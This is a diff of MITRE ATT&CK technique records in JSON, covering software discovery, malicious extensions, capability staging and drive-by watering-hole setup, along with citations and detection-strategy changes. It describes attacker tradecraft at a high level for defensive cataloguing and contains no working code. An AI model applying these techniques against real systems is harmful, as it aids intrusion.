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+ "source_name": "RotaJakiro 2021 netlab360 analysis",
+ "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.",
+ "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"
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+ "source_name": "Apple Dev Dynamic Libraries",
+ "description": "Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023.",
+ "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
+ },
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+ "source_name": "Unit42 OceanLotus 2017",
+ "description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.",
+ "url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"
+ },
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+ "source_name": "Microsoft DLL",
+ "description": "Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023.",
+ "url": "https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library"
+ },
+ {
+ "source_name": "Linux Shared Libraries",
+ "description": "Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023.",
+ "url": "https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
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+ ],
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+ "DET0018: Behavior-chain, platform-aware detection strategy for T1129 Shared Modules"
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+ {
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1072",
+ "external_id": "T1072"
+ },
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+ "source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation",
+ "description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.",
+ "url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
+ },
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+ "source_name": "SpecterOps Lateral Movement from Azure to On-Prem AD 2020",
+ "description": "Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.",
+ "url": "https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d"
+ },
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+ "source_name": "Mitiga Security Advisory: SSM Agent as Remote Access Trojan",
+ "description": "Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.",
+ "url": "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan"
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+ "M1015: Active Directory Configuration",
+ "M1017: User Training",
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1029: Remote Data Storage",
+ "M1030: Network Segmentation",
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+ "M1033: Limit Software Installation",
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+ ],
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+ "DS0009: Process (Process Creation)",
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+ "shared": [],
+ "new": [
+ "DET0223: Detection of Adversary Abuse of Software Deployment Tools"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-09-16 17:52:44.147000+00:00",
+ "modified": "2025-10-24 17:49:31.671000+00:00",
+ "name": "Software Discovery",
+ "description": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nSuch software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
+ "kill_chain_phases": [
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+ "phase_name": "discovery"
+ }
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+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1518",
+ "external_id": "T1518"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "IaaS",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\", \"Process: Process Creation\", \"Firewall: Firewall Enumeration\", \"Firewall: Firewall Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.671000+00:00\", \"old_value\": \"2025-04-15 19:59:16.123000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
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+ "new": [],
+ "dropped": []
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+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0018: Firewall (Firewall Enumeration)",
+ "DS0018: Firewall (Firewall Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0392: Multi-Platform Software Discovery Behavior Chain"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-21 21:16:18.066000+00:00",
+ "modified": "2025-10-24 17:49:23.401000+00:00",
+ "name": "Security Software Discovery",
+ "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents may collect metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1518/001",
+ "external_id": "T1518.001"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Isif Ibrahima, Mandiant"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "IaaS",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Firewall: Firewall Metadata\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Firewall: Firewall Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.401000+00:00\", \"old_value\": \"2025-04-15 23:05:09.449000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0018: Firewall (Firewall Enumeration)",
+ "DS0018: Firewall (Firewall Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0016: Security Software Discovery Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2018-01-16 16:13:52.465000+00:00",
+ "modified": "2025-10-24 17:48:39.525000+00:00",
+ "name": "Software Extensions",
+ "description": "Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms.(Citation: Chrome Extension C2 Malware)(Citation: Abramovsky VSCode Security) Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application. \n\n \nMalicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls. \n\nThe modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1176",
+ "external_id": "T1176"
+ },
+ {
+ "source_name": "Abramovsky VSCode Security",
+ "description": "Abramovsky, O. (2023, May 16). VSCode Security: Malicious Extensions Detected- More Than 45,000 Downloads- PII Exposed, and Backdoors Enabled. Retrieved March 30, 2025.",
+ "url": "https://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors/"
+ },
+ {
+ "source_name": "xorrior chrome extensions macOS",
+ "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.",
+ "url": "https://www.xorrior.com/No-Place-Like-Chrome/"
+ },
+ {
+ "source_name": "Chrome Extension C2 Malware",
+ "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.",
+ "url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Chris Ross @xorrior",
+ "Justin Warner, ICEBRG",
+ "Manikantan Srinivasan, NEC Corporation India"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "2.0",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\", \"Windows Registry: Windows Registry Key Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.525000+00:00\", \"old_value\": \"2025-04-15 19:58:22.784000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\\n\\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\\n\\nOn macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\\n-\\n-Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\\n-\\n-On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)\"}}}",
+ "previous_version": "2.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1033: Limit Software Installation",
+ "M1038: Execution Prevention",
+ "M1047: Audit",
+ "M1051: Update Software"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0029: Network Traffic (Network Connection Creation)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0092: Detection of Malicious or Unauthorized Software Extensions"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-03-17 20:04:09.331000+00:00",
+ "modified": "2025-10-24 17:49:03.444000+00:00",
+ "name": "Stage Capabilities",
+ "description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1608",
+ "external_id": "T1608"
+ },
+ {
+ "source_name": "Volexity Ocean Lotus November 2020",
+ "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.",
+ "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
+ },
+ {
+ "source_name": "Netskope GCP Redirection",
+ "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
+ "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
+ },
+ {
+ "source_name": "Netskope Cloud Phishing",
+ "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
+ "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
+ },
+ {
+ "source_name": "ATT ScanBox",
+ "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
+ "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
+ },
+ {
+ "source_name": "DigiCert Install SSL Cert",
+ "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.",
+ "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm"
+ },
+ {
+ "source_name": "Gallagher 2015",
+ "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
+ "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
+ },
+ {
+ "source_name": "Malwarebytes Heroku Skimmers",
+ "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.",
+ "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"
+ },
+ {
+ "source_name": "Dragos Heroku Watering Hole",
+ "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.",
+ "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"
+ },
+ {
+ "source_name": "FireEye CFR Watering Hole 2012",
+ "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
+ },
+ {
+ "source_name": "Malwarebytes Silent Librarian October 2020",
+ "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
+ "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
+ },
+ {
+ "source_name": "Proofpoint TA407 September 2019",
+ "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
+ "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.444000+00:00\", \"old_value\": \"2025-04-15 23:12:21.613000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0035: Internet Scan (Response Content)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0839: Detection of Stage Capabilities"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-03-17 20:33:20.127000+00:00",
+ "modified": "2025-10-24 17:48:36.634000+00:00",
+ "name": "Drive-by Target",
+ "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1608/004",
+ "external_id": "T1608.004"
+ },
+ {
+ "source_name": "ATT ScanBox",
+ "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
+ "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
+ },
+ {
+ "source_name": "Gallagher 2015",
+ "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
+ "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
+ },
+ {
+ "source_name": "FireEye CFR Watering Hole 2012",
+ "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.634000+00:00\", \"old_value\": \"2025-04-15 22:24:03.854000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\"}}}",
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+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-03-17 20:32:13.793000+00:00",
